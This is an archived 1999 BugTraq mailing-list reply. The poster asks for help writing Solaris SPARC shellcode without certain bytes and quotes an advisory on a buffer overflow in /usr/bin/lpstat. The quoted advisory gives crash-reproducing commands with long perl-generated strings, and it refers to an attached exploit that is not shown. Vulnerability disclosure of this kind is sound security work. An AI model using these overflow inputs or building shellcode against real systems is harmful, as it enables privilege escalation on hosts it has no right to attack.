Re: Buffer overflow in Solaris 2.6/2.7 /usr/bin/lpstat

From: GANG WANG (gang_wat_private)
Date: Mon Feb 08 1999 - 18:31:50 PST

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    Things are a little different on Solaris 2.6 Sparc. lpstat only
    accepts a buffer which doesn't contain \x20,\x0a or \x3b.
    Can sb teach me how to write a shellcode on solaris sparc
    without those charaters? I feel that I'm so stupid:-(
    
    G.
    
    -----Original Message-----
    From: plasmoid deep/thc/clb <plasmoidat_private>
    To: BUGTRAQat_private <BUGTRAQat_private>
    Date: Wednesday, January 27, 1999 11:16 AM
    Subject: Buffer overflow in Solaris 2.6/2.7 /usr/bin/lpstat
    
    
    >
    >On Aug/25/98 Sun released the following patches for lp:
    >
    > Solaris2.6 Sparc: 106235-02
    > Solaris2.6 x86:   106236
    >
    >It is quite sad, that they did not fix another overflow in
    >/usr/bin/lpstat. I testified this bug on either Solaris 2.7 x86
    >and 2.6 Sparc, I assume that it is also present on Solaris 2.6
    >x86 and 2.7 Sparc.
    >
    >Solaris 2.7 x86
    >% plasmoid@gorkie:foo> lpstat -c `perl -e 'print "A" x 998'`
    >% UX:lpstat: ERROR: Class
    >                    [...]
    >%                   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does
    >%                   not exist.
    >%           TO FIX: Use the "lpstat -c all" command to list
    >%                   all known classes.
    >% Segmentation Fault
    >% plasmoid@gorkie:foo>
    >
    >Solaris 2.6 Sparc
    >% plasmoid@bock:foo> lpstat -c `perl -e 'print "AAAA" x 250'`
    >% UX:lpstat: ERROR: Class
    >                    [...]
    >%                   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" does not
    >%                   exist.
    >%          TO FIX: Use the "lpstat -c all" command to list
    >%                  all known classes.
    >% Segmentation Fault
    >% plasmoid@bock:foo>
    >
    >This overflow is definitly exploitable, i attached the exploit for
    >Solaris x86. Quality patches for all Solaris versions can be obtained
    >from www.hert.org, a fast security source.
    >
    >plasmoid deep/thc/clb
    >http://thc.inferno.tusculum.edu
    >
    >
    >
    



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